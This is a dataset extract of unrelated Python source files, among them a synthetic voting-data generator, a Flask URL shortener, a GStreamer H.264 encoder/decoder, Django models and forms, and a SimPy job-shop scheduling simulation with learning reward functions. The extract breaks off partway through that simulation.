content
stringlengths 0
894k
| type
stringclasses 2
values |
---|---|
import datetime as dt
from pathlib import Path
import uuid
from typing import Dict, Any, List, Callable
import numpy as np
import pandas as pd
Row = Dict[str, Any]
def generate_timestamp(color: str) -> str:
if color == "red":
weights = np.ones(12)
else:
weights = np.concatenate([np.ones(9), 3 * np.ones(3)])
weights_normalized = weights / weights.sum()
date = dt.date(2020, 12, 10)
hour = np.random.choice(range(8, 20), size=1, p=weights_normalized)[0]
return pd.Timestamp.combine(date, dt.time(hour))
def generate_vote(color: str) -> str:
if color == "red":
weights = [0.01, 0.54, 0.45]
else:
weights = [0.01, 0.47, 0.52]
return np.random.choice(["yellow", "red", "blue"], size=1, p=weights)[0]
def row_maker() -> Callable:
data = pd.read_csv(
Path(__file__).parent / "../data/region_data.csv",
usecols=["region", "percent", "color"],
)
regions = data.region.values
colors = data.set_index("region").color.to_dict()
def generate() -> Row:
region = np.random.choice(
regions, size=1, p=data.percent.values / data.percent.sum()
)[0]
color = colors[region]
return {
"timestamp": generate_timestamp(color),
"id": str(uuid.uuid1()),
"region": region,
"vote": generate_vote(color),
}
return generate
def generate_votes(length: int) -> pd.DataFrame:
voting_machine = row_maker()
return pd.DataFrame([voting_machine() for _ in range(length)])
| python |
from flask import current_app, g
from werkzeug.local import LocalProxy
from flask_pymongo import PyMongo
import shortuuid
def get_db():
"""
Configuration method to return db instance
"""
db = getattr(g, "_database", None)
if db is None:
db = g._database = PyMongo(current_app).db
return db
# Use LocalProxy to read the global db instance with just `db`
db = LocalProxy(get_db)
def add_url(url):
uuid = shortuuid.uuid()
data = {'_id': uuid, 'url': url}
return db.urls.insert_one(data)
def get_url(id):
return db.urls.find_one({'_id': id})
| python |
import gi
gi.require_version('Gst', '1.0')
from gi.repository import Gst
import math
from abc import ABC, abstractmethod
MAX_BUFFERS = 100
class VideoFrame:
def __init__(self, width, height, data=None):
self.width = width
self.height = height
if data is None:
self.data = b'\x00' * math.ceil(width * height * 12 / 8)
else:
self.data = data
##############################################################################
class H264_Exception(Exception): # made for easy catching of both types
pass
class H264_Encoder_Exception(H264_Exception):
pass
class H264_Decoder_Exception(H264_Exception):
pass
##############################################################################
class H264_Superclass(ABC):
def error(self, err_msg):
if type(self) == H264_Encoder:
raise H264_Encoder_Exception(err_msg)
elif type(self) == H264_Decoder:
raise H264_Decoder_Exception(err_msg)
else:
raise Exception(err_msg)
def change_state(self, state):
state = self.pipeline.set_state(state)
if state == Gst.StateChangeReturn.FAILURE:
self.error('Failed to change pipeline\'s state to ' + str(state))
def wait_for_pipeline(self):
msg = self.pipeline.get_bus().timed_pop_filtered(Gst.CLOCK_TIME_NONE,
Gst.MessageType.ERROR | Gst.MessageType.EOS)
if msg:
if msg.type == Gst.MessageType.ERROR:
err, _ = msg.parse_error()
self.error('Pipeline failure: ' + err.message)
elif msg.type != Gst.MessageType.EOS:
self.error('Pipeline failure: unknown error')
def __init__(self):
self.frames = []
self.payloads = []
self.create_pipeline()
self.change_state(Gst.State.READY)
super().__init__()
def __del__(self):
self.pipeline.set_state(Gst.State.NULL)
@abstractmethod
def create_pipeline(self):
pass
##############################################################################
class H264_Encoder(H264_Superclass):
def __init__(self):
self.last_parameters = (0, 0)
super().__init__()
@staticmethod
def create_srccaps(width, height):
CAPS_STR = 'video/x-raw,format=I420,width={},height={},framerate=0/1'
return Gst.Caps.from_string(CAPS_STR.format(width, height))
def create_pipeline(self):
self.pipeline = Gst.Pipeline.new()
# appsrc -> rawvideoparse -> videoconvert -> x264enc -> rtph264pay -> appsink
self.appsrc = Gst.ElementFactory.make('appsrc')
self.appsrc.set_property('caps', self.create_srccaps(0, 0))
def feed_appsrc(bus, msg):
if len(self.frames) == 0:
self.appsrc.emit('end-of-stream')
else:
buf = Gst.Buffer.new_wrapped(self.frames[0].data)
self.appsrc.emit('push-buffer', buf)
del(self.frames[0])
self.appsrc.connect('need-data', feed_appsrc)
self.videoparse = Gst.ElementFactory.make('rawvideoparse')
self.videoparse.set_property('width', 0)
self.videoparse.set_property('height', 0)
self.videoparse.set_property('framerate', Gst.Fraction(0))
videoconvert = Gst.ElementFactory.make('videoconvert')
x264_encoder = Gst.ElementFactory.make('x264enc')
rtp_payloader = Gst.ElementFactory.make('rtph264pay')
self.appsink = Gst.ElementFactory.make('appsink')
rtpcaps = Gst.Caps.from_string(
'application/x-rtp,payload=96,media=video,encoding-name=H264,clock-rate=90000'
)
self.appsink.set_property('caps', rtpcaps)
self.appsink.set_property('drop', True) # should we drop??
self.appsink.set_property('max-buffers', MAX_BUFFERS)
self.appsink.set_property('emit-signals', True)
def get_appsink_data(sink):
sample = sink.emit('pull-sample')
if not sample:
return
buf = sample.get_buffer()
status, info = buf.map(Gst.MapFlags.READ)
if not status:
self.error('Failed to map buffer data to GstMapInfo')
self.payloads.append(info.data)
buf.unmap(info)
return Gst.FlowReturn.OK
self.appsink.connect('new-sample', get_appsink_data)
self.pipeline.add(self.appsrc)
self.pipeline.add(self.videoparse)
self.pipeline.add(videoconvert)
self.pipeline.add(x264_encoder)
self.pipeline.add(rtp_payloader)
self.pipeline.add(self.appsink)
self.appsrc.link(self.videoparse)
self.videoparse.link(videoconvert)
videoconvert.link(x264_encoder)
x264_encoder.link(rtp_payloader)
rtp_payloader.link(self.appsink)
def update_parameters(self, width, height):
if not self.last_parameters or self.last_parameters != (width, height):
self.appsrc.set_property('caps', self.create_srccaps(width, height))
self.videoparse.set_property('width', width)
self.videoparse.set_property('height', height)
self.last_parameters = (width, height)
'''
Encodes raw YUV420 video frames with H.264 and packages the result in RTP payloads
:param frames: list of VideoFrame objects with the *same* width and height / single VideoFrame object
:returns: list of binary representations of RTP payloads
'''
def encode(self, frames):
if type(frames) == VideoFrame:
frames = [frames]
if len(frames) == 0:
self.error('\'frames\' length should be greater than 0')
self.frames = frames
self.update_parameters(frames[0].width, frames[0].height)
self.change_state(Gst.State.PLAYING)
self.wait_for_pipeline()
self.change_state(Gst.State.READY)
current_payloads = self.payloads
self.frames = []
self.payloads = []
return current_payloads
##############################################################################
class H264_Decoder(H264_Superclass):
def create_pipeline(self):
self.pipeline = Gst.Pipeline.new()
# appsrc -> rtph264depay -> h264parse -> avdec_h264 -> videoconvert -> appsink
self.appsrc = Gst.ElementFactory.make('appsrc')
self.appsrc.set_property('format', Gst.Format.TIME)
rtpcaps = Gst.Caps.from_string(
'application/x-rtp,payload=96,media=video,encoding-name=H264,clock-rate=90000'
)
self.appsrc.set_property('caps', rtpcaps)
def feed_appsrc(bus, msg):
if len(self.payloads) == 0:
self.appsrc.emit('end-of-stream')
else:
buf = Gst.Buffer.new_wrapped(self.payloads[0])
self.appsrc.emit('push-buffer', buf)
del(self.payloads[0])
self.appsrc.connect('need-data', feed_appsrc)
rtp_depayloader = Gst.ElementFactory.make('rtph264depay')
h264_parser = Gst.ElementFactory.make('h264parse')
h264_decoder = Gst.ElementFactory.make('avdec_h264')
videoconvert = Gst.ElementFactory.make('videoconvert')
self.appsink = Gst.ElementFactory.make('appsink')
self.appsink.set_property('drop', True) # should we drop??
self.appsink.set_property('max-buffers', MAX_BUFFERS)
self.appsink.set_property('emit-signals', True)
def get_appsink_data(sink):
sample = sink.emit('pull-sample')
if not sample:
return
buf = sample.get_buffer()
status, info = buf.map(Gst.MapFlags.READ)
if not status:
self.error('Failed to map buffer data to GstMapInfo')
self.frames.append(VideoFrame(0, 0, info.data))
buf.unmap(info)
return Gst.FlowReturn.OK
self.appsink.connect('new-sample', get_appsink_data)
self.pipeline.add(self.appsrc)
self.pipeline.add(rtp_depayloader)
self.pipeline.add(h264_parser)
self.pipeline.add(h264_decoder)
self.pipeline.add(videoconvert)
self.pipeline.add(self.appsink)
self.appsrc.link(rtp_depayloader)
rtp_depayloader.link(h264_parser)
h264_parser.link(h264_decoder)
h264_decoder.link(videoconvert)
videoconvert.link(self.appsink)
def update_frames_sizes(self):
pad = self.appsink.get_static_pad('sink')
caps = pad.get_current_caps()
if caps is None:
self.error('Appsink caps is somehow None - report this')
structure = caps.get_structure(0)
if structure is None:
self.error('Appsink caps structure is somehow None - report this')
w_status, width = structure.get_int('width')
h_status, height = structure.get_int('height')
if not w_status or not h_status:
self.error('Could not extract frame width and height from appsink')
for frame in self.frames:
frame.width = width
frame.height = height
'''
Decodes H.264 RTP payloads to a list of raw YUV420 frames
:param payloads: list of binary representations of RTP payloads
:returns: list of VideoFrame objects
'''
def decode(self, payloads):
if len(payloads) == 0:
self.error('\'payloads\' length should be greater than 0')
self.payloads = payloads
self.change_state(Gst.State.PLAYING)
self.wait_for_pipeline()
self.update_frames_sizes()
self.change_state(Gst.State.READY)
current_frames = self.frames
self.payloads = []
self.frames = []
return current_frames
| python |
import json
import os
import re
from pyaofit import *
class campaignfile(campaign):
@classmethod
def openFile(cls, campaign_filename):
with open(campaign_filename) as campaign_file:
campaign_dict = json.load(campaign_file)
campaign_name = os.path.splitext(os.path.basename(campaign_filename))[0]
campaign_prefix = re.sub('[\W_]+', '', campaign_name, re.UNICODE)
if "predefined_interfaces" in campaign_dict:
for predefined_interface_path in campaign_dict["predefined_interfaces"]:
predefined_interface = json.load(open(predefined_interface_path))
campaign_dict["interfaces"] += [predefined_interface]
campaign = cls(campaign_name, campaign_prefix, campaign_dict)
campaign.filename = campaign_filename
campaign.directory = os.path.dirname(os.path.realpath(campaign.filename)) + "/"
campaign.experiment_directory = campaign.directory + campaign.name + "_experiments/"
exp_command_array = campaign["experimentCommand"].split(" ")
campaign.absolute_experimentCommand = os.path.realpath(exp_command_array[0]) + " ".join(exp_command_array[1:])
return campaign
| python |
from django import forms
from accounts.models import Profile
class ProfileForm(forms.ModelForm):
profile_picture = forms.ImageField(required=False, \
error_messages ={'invalid':("Image files only")},\
widget=forms.FileInput)
class Meta:
model = Profile
fields = ['profile_picture','website', 'country', 'location', 'display_email', 'bio', 'youtube_link', 'facebook_link', 'instagram_link', 'linkedin_link','twitter_link','github_link',]
widgets = {
'bio': forms.Textarea(attrs={'rows': 3}),
} | python |
# coding: utf-8
from django.db import models, transaction
from django.utils.translation import ugettext as _
from grappelli.fields import PositionField
ITEM_CATEGORY_CHOICES = (
('1', _('internal')),
('2', _('external')),
)
class Navigation(models.Model):
"""
Sidebar-Navigation on the Admin Index-Site.
"""
title = models.CharField(_('Title'), max_length=30)
# order
order = PositionField(_('Order'))
class Meta:
app_label = "grappelli"
verbose_name = _('Navigation')
verbose_name_plural = _('Navigation')
ordering = ['order',]
def __unicode__(self):
return u"%s" % (self.title)
save = transaction.commit_on_success(models.Model.save)
class NavigationItem(models.Model):
"""
Navigation Item.
"""
navigation = models.ForeignKey(Navigation)
title = models.CharField(_('Title'), max_length=30)
link = models.CharField(_('Link'), max_length=200, help_text=_('The Link should be relative, e.g. /admin/blog/.'))
category = models.CharField(_('Category'), max_length=1, choices=ITEM_CATEGORY_CHOICES)
# users
users = models.ManyToManyField('auth.User', limit_choices_to={'is_staff': True}, verbose_name=_('Users'), blank=True, related_name="admin_navigation_users")
groups = models.ManyToManyField('auth.Group', verbose_name=_('Groups'), blank=True, related_name="admin_navigation_groups")
# order
order = PositionField(unique_for_field='navigation')
class Meta:
app_label = "grappelli"
verbose_name = _('Navigation Item')
verbose_name_plural = _('Navigation Items')
ordering = ['navigation', 'order']
def __unicode__(self):
return u"%s" % (self.title)
save = transaction.commit_on_success(models.Model.save)
| python |
import simpy
import sys
sys.path
import random
import numpy as np
import torch
from tabulate import tabulate
import sequencing
import routing
class machine:
def __init__(self, env, index, *args, **kwargs):
# initialize the environment of simulation
self.env = env
self.m_idx = index
# each machine will have an independent storage for each type of job information
# initialize all job-related information storage as empty lists
self.queue = []
self.sequence_list = [] # sequence of all queuing jobs
self.pt_list = [] # processing time
self.remaining_pt_list = [] # average processing time
self.due_list = [] # due for each job
self.arrival_time_list = [] # time that job join the queue
self.waited_time = [] # time that job stayed in the queue
self.slack_upon_arrival = [] # slack record of queuing jobs
self.no_jobs_record = []
# the time that agent do current and next decision
self.decision_point = 0
self.release_time = 0
# track the utilization
self.cumulative_run_time = 0
self.global_exp_tard_rate = 0
# Initialize the possible events during production
self.sufficient_stock = self.env.event()
# working condition in shut down and breakdowns
self.working_event = self.env.event()
# this is the time that machine needs to recover from breakdown
# initial value is 0, later will be changed by "breakdown_creation" module
self.restart_time = 0
self.count = 0
self.count2 = 0
# Initialize the events'states
# if the queue is not empty
if not len(self.queue):
self.sufficient_stock.succeed()
# no shutdown, no breakdown at beginning
self.working_event.succeed()
# print out the information of initial jobs
self.print_info = True
self.routing_global_reward = False
# initialize the data for learning and recordiing
self.breakdown_record = []
# use exponential moving average to measure slack and tardiness
self.EMA_slack_change = 0
self.EMA_realized_tardiness = 0
self.EMA_alpha = 0.1
# set the sequencing rule before start of simulation
if 'rule' in kwargs:
order = "self.job_sequencing = sequencing." + kwargs['rule']
try:
exec(order)
print("machine {} uses {} sequencing rule".format(self.m_idx, kwargs['rule']))
except:
print("Rule assigned to machine {} is invalid !".format(self.m_idx))
raise Exception
else:
# default sequencing rule is FIFO
self.job_sequencing = sequencing.FIFO
# record extra data for learning, initially not activated, can be activated by brains
self.sequencing_learning_event = self.env.event()
self.routing_learning_event = self.env.event()
'''
1. downwards are functions that perform the simulation
including production, starvation and breakdown
'''
# this function should be called after __init__ to avoid deadlock
# after the creation of all machines, initial jobs and work centers
# pass the list of work centers to all machines so the shopfloor is established
# the initial jobs are allocated through job_creation module
def initialization(self, machine_list, workcenter_list, job_creator, assigned_wc):
# knowing other machines, workcenters, and the job creator
# so the machine agent can manipulate other agents'variables
self.m_list = machine_list
self.m_no = len(self.m_list)
self.wc_list = workcenter_list
self.wc = assigned_wc
self.wc_idx = assigned_wc.wc_idx
self.no_ops = len(self.wc_list)
self.job_creator = job_creator
# initial information
if self.print_info:
print('machine {} belongs to work center {}'.format(self.m_idx,assigned_wc.wc_idx))
print('Initial %s jobs at machine %s are:'%(len(self.queue), self.m_idx))
job_info = [[self.queue[i],self.sequence_list[i], self.pt_list[i], self.slack_upon_arrival[i], self.due_list[i]] for i in range(len(self.queue))]
print(tabulate(job_info, headers=['idx.','sqc.','proc.t.','slack','due']))
print('************************************')
self.state_update_all()
self.update_global_info_progression()
self.env.process(self.production())
# The main function, simulates the production
def production(self):
# first check the initial queue/stock level, if none, starvation begines
if not len(self.queue):
# triggered the starvation
yield self.env.process(self.starvation())
# update information of queuing jobs at the end of initial phase
self.state_update_all()
# the loop that will run till the ned of simulation
while True:
# record the time of the sequencing decision (select a job to process), used as the index of produciton record in job creator
self.decision_point = self.env.now
self.no_jobs_record.append(len(self.queue))
# if we have more than one queuing jobs, sequencing is required
if len(self.queue)-1:
# determine the next job to be processed
# the returned value is selected job's self.position in queue
self.position = self.job_sequencing(self.sequencing_data_generation())
self.job_idx = self.queue[self.position]
self.before_operation()
self.count += 1
if len(self.queue)-2:
self.count2 += 1
#print("Sequencing: Machine %s choose job %s at time %s"%(self.m_idx,self.job_idx,self.env.now))
# otherwise simply select the first(only) one
else:
self.position = 0
self.job_idx = self.queue[self.position]
#print("One queue: Machine %s process job %s at time %s"%(self.m_idx,self.job_idx,self.env.now))
# retrive the information of job
pt = self.pt_list[self.position][self.m_idx] # processing time of the selected job
wait = self.env.now - self.arrival_time_list[self.position] # time that job waited before being selected
# after determined the next job to be processed, update a bunch of data
self.update_global_info_progression()
self.update_global_info_anticipation(pt)
self.record_production(pt, wait) # record these information
# The production process (yield the processing time of operation)
yield self.env.timeout(pt)
self.cumulative_run_time += pt
#print("completion: Job %s leave machine %s at time %s"%(self.queue[self.position],self.m_idx,self.env.now))
# transfer job to next workcenter or delete it, and update information
self.after_operation()
# check if routing learning mode is on, if yes, call the function of WORKCENTER, NOT ITSELF!!!
# examine whether the scheduled shutdown is triggered
if not self.working_event.triggered:
yield self.env.process(self.breakdown())
# after restart, update information of queuing jobs
self.state_update_all()
# check the queue/stock level, if none, starvation begines
if not len(self.queue):
# triggered the starvation
yield self.env.process(self.starvation())
# after replenishement, update information of queuing jobs
self.state_update_all()
def starvation(self):
#print('STARVATION *BEGIN*: machine %s at time %s' %(self.m_idx, self.env.now))
# set the self.sufficient_stock event to untriggered
self.sufficient_stock = self.env.event()
# proceed only if the sufficient_stock event is triggered by new job arrival
yield self.sufficient_stock
# examine whether the scheduled shutdown is triggered
if not self.working_event.triggered:
yield self.env.process(self.breakdown())
#print('STARVATION *END*: machine %s at time: %s'%(self.m_idx, self.env.now))
def breakdown(self):
print('********', self.m_idx, "breakdown at time", self.env.now, '********')
start = self.env.now
# simply update the available time of that machines
self.available_time = self.restart_time + self.cumulative_pt
# suspend the production here, untill the working_event is triggered
yield self.working_event
self.breakdown_record.append([(start, self.env.now-start), self.m_idx])
print('********', self.m_idx, 'brekdown ended, restart production at time', self.env.now, '********')
'''
2. downwards are functions the called before and after each operation
to maintain some record, and transit the finished job to next workcenter or out of system
'''
# update lots information that will be used for calculating the rewards
def before_operation(self):
# number of jobs that to be sequenced, and their ttd and slack
self.waiting_jobs = len(self.queue)
time_till_due = np.array(self.due_list) - self.env.now
self.before_op_ttd = time_till_due
self.before_op_ttd_chosen = self.before_op_ttd[self.position]
self.before_op_ttd_loser = np.delete(self.before_op_ttd, self.position)
tardy_jobs = len(time_till_due[time_till_due<0])
#self.before_op_realized_tard_rate =tardy_jobs/len(self.queue)
#print('before realized tard rate: ', self.before_op_realized_tard_rate)
initial_slack = self.slack_upon_arrival.copy()
self.before_op_remaining_pt = self.remaining_job_pt + self.current_pt
self.before_op_remaining_pt_chosen = self.before_op_remaining_pt[self.position]
self.before_op_remaining_pt_loser = np.delete(self.before_op_remaining_pt, self.position)
current_slack = time_till_due - self.before_op_remaining_pt
exp_tardy_jobs = len(current_slack[current_slack<0])
# get information of all jobs before operation
self.before_op_exp_tard = current_slack[current_slack<0]
self.before_op_sum_exp_tard = self.before_op_exp_tard.sum()
self.before_op_slack = current_slack
self.before_op_sum_slack = self.before_op_slack.sum()
# calculate the critical level of all queuing jobs
self.critical_level = 1 - current_slack / 100
self.critical_level_chosen = self.critical_level[self.position]
#print(current_slack, self.critical_level,self.critical_level_chosen)
# get the information of the selected job
self.pt_chosen = self.current_pt[self.position]
self.initial_slack_chosen = initial_slack[self.position]
self.before_op_slack_chosen = current_slack[self.position]
self.before_op_exp_tard_chosen = min(0,self.before_op_slack_chosen)
self.before_op_winq_chosen = self.winq[self.position]
# get the information of jobs that haven't been selected (loser)
self.before_op_slack_loser = np.delete(current_slack, self.position) # those haven't been selected
self.critical_level_loser = np.delete(self.critical_level, self.position)
self.before_op_sum_exp_tard_loser = self.before_op_slack_loser[self.before_op_slack_loser<0].sum()
self.before_op_sum_slack_loser = self.before_op_slack_loser.sum()
self.before_op_winq_loser = np.delete(self.winq, self.position)
#print('before',self.m_idx,self.env.now,slack,slack_loser,self.before_op_exp_tard,self.current_pt,self.position)
#self.before_op_avg_slack = slack.sum()/len(self.queue)
#self.before_op_expected_tard_rate = exp_tardy_jobs/len(self.queue)
#print('before expected tard rate: ', self.before_op_expected_tard_rate)
# transfer unfinished job to next workcenter, or delete finished job from record
# and update the data of queuing jobs, EMA_tardiness etc.
def after_operation(self):
# check if this is the last operation of job
# if the sequence is not empty, any value > 0 is True
if len(self.sequence_list[self.position]):
#print('OPERATION: Job %s output from machine %s at time %s'%(self.queue[self.position], self.m_idx, self.env.now))
next_wc = self.sequence_list[self.position][0]
# add the job to next work center's queue
self.wc_list[next_wc].queue.append(self.queue.pop(self.position))
# add the information of this job to next work center's storage
self.wc_list[next_wc].sequence_list.append(np.delete(self.sequence_list.pop(self.position),0))
self.wc_list[next_wc].pt_list.append(self.pt_list.pop(self.position))
# get the expected processing time of remaining processes
remaining_ptl = self.remaining_pt_list.pop(self.position)
self.wc_list[next_wc].remaining_pt_list.append(remaining_ptl)
# get old and current_slack time of the job, meanwhile add due to next wc's storage
current_slack = self.due_list[self.position] - self.env.now - np.sum(remaining_ptl.max(axis=1))
self.wc_list[next_wc].due_list.append(self.due_list.pop(self.position))
estimated_slack_time = self.slack_upon_arrival.pop(self.position)
del self.arrival_time_list[self.position]
# calculate slack gain/loss
self.slack_change = current_slack - estimated_slack_time
self.critical_level_R = 1 - estimated_slack_time / 100
# record the slack change
self.record_slack_tardiness()
# calculate the EMA_slack_change
self.EMA_slack_change += self.EMA_alpha * (self.slack_change - self.EMA_slack_change)
# and activate the dispatching of next work center
try:
self.wc_list[next_wc].routing_event.succeed()
except:
pass
# after transfered the job, update information of queuing jobs
self.state_update_all()
# clear some global information
self.update_global_info_after_operation()
# check if sequencing learning mode is on, and queue is not 0
if self.routing_learning_event.triggered:
try:
self.wc.build_routing_experience(self.job_idx,self.slack_change, self.critical_level_R)
except:
pass
if self.sequencing_learning_event.triggered:
self.complete_experience()
# if this is the last process, then simply delete job information
else:
#print('**FINISHED: Job %s from machine %s at time %s'%(self.queue[self.position], self.m_idx, self.env.now))
# calculate tardiness of job, and update EMA_realized_tardiness
self.tardiness = np.max([0, self.env.now - self.due_list[self.position]])
#print("realized tardiness is:", tardiness)
self.EMA_realized_tardiness += self.EMA_alpha * (self.tardiness - self.EMA_realized_tardiness)
#print(self.m_idx,self.EMA_realized_tardiness)
# delete this job from queue
del self.queue[self.position]
# delete the information of this job
del self.sequence_list[self.position]
del self.pt_list[self.position]
del self.remaining_pt_list[self.position]
# get old and current_slack time of the job
current_slack = self.due_list[self.position] - self.env.now # there's no more operations for this job
del self.due_list[self.position]
estimated_slack_time = self.slack_upon_arrival.pop(self.position)
del self.arrival_time_list[self.position]
# kick the job out of system
self.job_creator.record_job_departure()
#print(self.job_creator.in_system_job_no)
# calculate slack gain/loss
self.slack_change = current_slack - estimated_slack_time
self.critical_level_R = 1 - estimated_slack_time / 100
#print(current_slack, estimated_slack_time, self.critical_level_R)
# record the slack change
self.record_slack_tardiness(self.tardiness)
#print("estimated_slack_time: %s / current_slack: %s"%(estimated_slack_time, current_slack))
# calculate the EMA_slack_change
self.EMA_slack_change += self.EMA_alpha * (self.slack_change - self.EMA_slack_change)
# after transfered the job, update information of queuing jobs
self.state_update_all()
# clear some global information
self.update_global_info_after_operation()
# check if sequencing learning mode is on, and queue is not 0
# if yes, since the job is finished and tardiness is realized, construct complete experience
if self.routing_learning_event.triggered:
try:
self.wc.build_routing_experience(self.job_idx,self.slack_change, self.critical_level_R)
except:
pass
if self.sequencing_learning_event.triggered:
self.complete_experience()
if self.routing_global_reward:
self.add_global_reward_RA()
'''
3. downwards are functions that related to information update and exchange
especially the information that will be used by other agents on shop floor
'''
def record_production(self, pt, wait):
# add the details of operation to job_creator's repository
self.job_creator.production_record[self.job_idx][0].append((self.env.now,pt))
self.job_creator.production_record[self.job_idx][1].append(self.m_idx)
self.job_creator.production_record[self.job_idx][2].append(wait)
def record_slack_tardiness(self, *args):
self.job_creator.production_record[self.job_idx][4].append(self.slack_change)
if len(args):
self.job_creator.production_record[self.job_idx].append((self.env.now,args[0]))
# call this function after the completion of operation
def state_update_all(self):
# processing time of current process of each queuing job
self.current_pt = np.array([x[self.m_idx] for x in self.pt_list])
# cumultive processing time of all queuing jobs on this machine
self.cumulative_pt = self.current_pt.sum()
# the time the machine will be available (become idle or breakdown ends)
self.available_time = self.env.now + self.cumulative_pt
# expected cumulative processing time (worst possible) of all unfinished processes for each queuing job
self.remaining_job_pt = np.array([sum(x.mean(axis=1)) for x in self.remaining_pt_list])
self.remaining_no_op = np.array([len(x) for x in self.remaining_pt_list])
self.next_pt = np.array([x[0].mean() if len(x) else 0 for x in self.remaining_pt_list])
# the completion rate of all queuing jobs
self.completion_rate = np.array([(self.no_ops-len(x)-1)/self.no_ops for x in self.remaining_pt_list])
# number of queuing jobs
self.que_size = len(self.queue)
# time till due and slack time of jobs
self.time_till_due = np.array(self.due_list) - self.env.now
self.slack = self.time_till_due - self.current_pt - self.remaining_job_pt
# time that job spent in the queue
self.waited_time = self.env.now - np.array(self.arrival_time_list)
# WINQ
self.winq = np.array([self.wc_list[x[0]].average_workcontent if len(x) else 0 for x in self.sequence_list])
self.avlm = np.array([self.wc_list[x[0]].average_waiting if len(x) else 0 for x in self.sequence_list])
#print(self.sequence_list, self.winq)
# available timeis a bit tricky, jobs may come when the operation is ongoing
# or when the machine is already in starvation (availble time is earlier than now)
# hence we can't simply let available time = now + cumulative_pt
def state_update_after_job_arrival(self, increased_available_time):
self.current_pt = np.array([x[self.m_idx] for x in self.pt_list])
self.cumulative_pt = self.current_pt.sum()
# add the new job's pt to current time / current available time
self.available_time = max(self.available_time, self.env.now) + increased_available_time
self.que_size = len(self.queue)
# update the information of progression, eralized and expected tardiness to JOB_CREATOR !!!
def update_global_info_progression(self):
# realized: 0 if already tardy; exp: 0 is slack time is negative
realized = self.time_till_due.clip(0,1)
exp = self.slack.clip(0,1)
# update the machine's corresponding record in job creator, and several rates
self.job_creator.comp_rate_list[self.m_idx] = self.completion_rate
self.job_creator.comp_rate = np.concatenate(self.job_creator.comp_rate_list).mean()
self.job_creator.realized_tard_list[self.m_idx] = realized
self.job_creator.realized_tard_rate = 1 - np.concatenate(self.job_creator.realized_tard_list).mean()
self.job_creator.exp_tard_list[self.m_idx] = exp
self.job_creator.exp_tard_rate = 1 - np.concatenate(self.job_creator.exp_tard_list).mean()
self.job_creator.available_time_list[self.m_idx] = self.available_time
# update the information of the job that being processed to JOB_CREATOR !!!
def update_global_info_anticipation(self,pt):
current_j_idx = self.queue[self.position]
self.job_creator.current_j_idx_list[self.m_idx] = current_j_idx
next_wc = self.sequence_list[self.position][0] if len(self.sequence_list[self.position]) else -1 # next workcenter of the job
self.job_creator.next_wc_list[self.m_idx] = next_wc # update the next wc info (hold by job creator)
self.release_time = self.env.now + pt
self.job_creator.release_time_list[self.m_idx] = self.release_time # update the time of completion of current operation
job_rempt = self.remaining_job_pt[self.position].sum() - pt
self.job_creator.arriving_job_rempt_list[self.m_idx] = job_rempt # update the remaining pt of job under processing
job_slack = self.slack[self.position]
self.job_creator.arriving_job_slack_list[self.m_idx] = job_slack # update the slack time of processing job (hold by job creator)
# must call this after operation otherwise the record persists, lead to error
def update_global_info_after_operation(self):
self.job_creator.next_wc_list[self.m_idx] = -1 # after each operation, clear the record in job creator
# give out the information related to routing decision
def routing_data_generation(self):
# note that we subtract current time from available_time
# becasue state_update_all function may be called at a different time
self.routing_data = [self.cumulative_pt, max(0,self.available_time-self.env.now), self.que_size, self.cumulative_run_time]
return self.routing_data
# give ou the information related to sequencing decision
def sequencing_data_generation(self):
self.sequencing_data = \
[self.current_pt, self.remaining_job_pt, np.array(self.due_list), self.env.now, self.completion_rate, \
self.time_till_due, self.slack, self.winq, self.avlm, self.next_pt, self.remaining_no_op, self.waited_time, \
self.wc_idx, self.queue, self.m_idx]
#print(self.sequencing_data)
return self.sequencing_data
'''
4. downwards are functions related to the calculation of reward and construction of state
only be called if the sequencing learning mode is activated
the options of reward function are listed at bottom
'''
# this function is called only if self.sequencing_learning_event is triggered
# when this function is called upon the completion of an operation
# it add received data to corresponding record in job creator's incomplete_rep_memo
def complete_experience(self):
# it's possible that not all machines keep memory for learning
# machine that needs to keep memory don't keep record for all jobs
# only when they have to choose from several queuing jobs
try:
# check whether corresponding experience exists, if not, ends at this line
self.job_creator.incomplete_rep_memo[self.m_idx][self.decision_point]
#print('PARAMETERS',self.m_idx,self.decision_point,self.env.now)
#print('BEFORE\n',self.job_creator.incomplete_rep_memo[self.m_idx][self.decision_point])
# if yes, get the global state
local_data = self.sequencing_data_generation()
s_t = self.build_state(local_data)
#print(self.m_idx,s_t)
r_t = self.reward_function() # can change the reward function, by sepecifying before the training
#print(self.env.now, r_t)
self.job_creator.sqc_reward_record.append([self.env.now, r_t])
self.job_creator.incomplete_rep_memo[self.m_idx][self.decision_point] += [s_t, r_t]
#print(self.job_creator.incomplete_rep_memo[self.m_idx])
#print(self.job_creator.incomplete_rep_memo[self.m_idx][self.decision_point])
complete_exp = self.job_creator.incomplete_rep_memo[self.m_idx].pop(self.decision_point)
# and add it to rep_memo
self.job_creator.rep_memo[self.m_idx].append(complete_exp)
#print(self.job_creator.rep_memo[self.m_idx])
#print('AFTER\n',self.job_creator.incomplete_rep_memo[self.m_idx][self.decision_point])
#print(self.m_idx,self.env.now,'state: ',s_t,'reward: ',r_t)
except:
pass
# testing reward function, check if the agent learns, this function encourages using SPT
def get_reward0(self):
if self.pt_chosen <= self.current_pt[:self.waiting_jobs-1].mean():
r_t = 1
else:
r_t = 0
r_t = torch.tensor(r_t, dtype=torch.float)
return r_t
# those functions are called only if self.sequencing_learning_event is triggered
# this is function is called only upon the completion of all operations of a job
# it calculates the reward for all machines that job went through
# hence a complete experience is constructed and ready for learning
def get_reward1(self):
slack = self.before_op_slack
critical_level = 1 - slack / (np.absolute(slack) + 50)
# get critical level for jobs, chosen and loser, respectively
critical_level_chosen = critical_level[self.position]
critical_level_loser = np.delete(critical_level, self.position) # could be a vector or scalar
# calculate adjusted earned slack for the chosen job
earned_slack_chosen = np.mean(self.current_pt[:self.waiting_jobs-1])
earned_slack_chosen *= critical_level_chosen
# calculate the AVERAGE adjusted slack consumption for jobs that not been chosen
consumed_slack_loser = self.pt_chosen*critical_level_loser.mean()
# slack reward
rwd_slack = earned_slack_chosen - consumed_slack_loser
# WINQ reward
rwd_winq = (self.before_op_winq_loser.mean() - self.before_op_winq_chosen) * 0.2
# calculate the reward
#print(rwd_slack, rwd_winq)
rwd = ((rwd_slack + rwd_winq)/20).clip(-1,1)
# optional printout
#print(self.env.now,'slack and pt:', slack, critical_level, self.position, self.pt_chosen, self.current_pt[:self.waiting_jobs-1])
#print(self.env.now,'winq and reward:',self.before_op_winq_chosen, self.before_op_winq_loser, earned_slack_chosen, consumed_slack_loser)
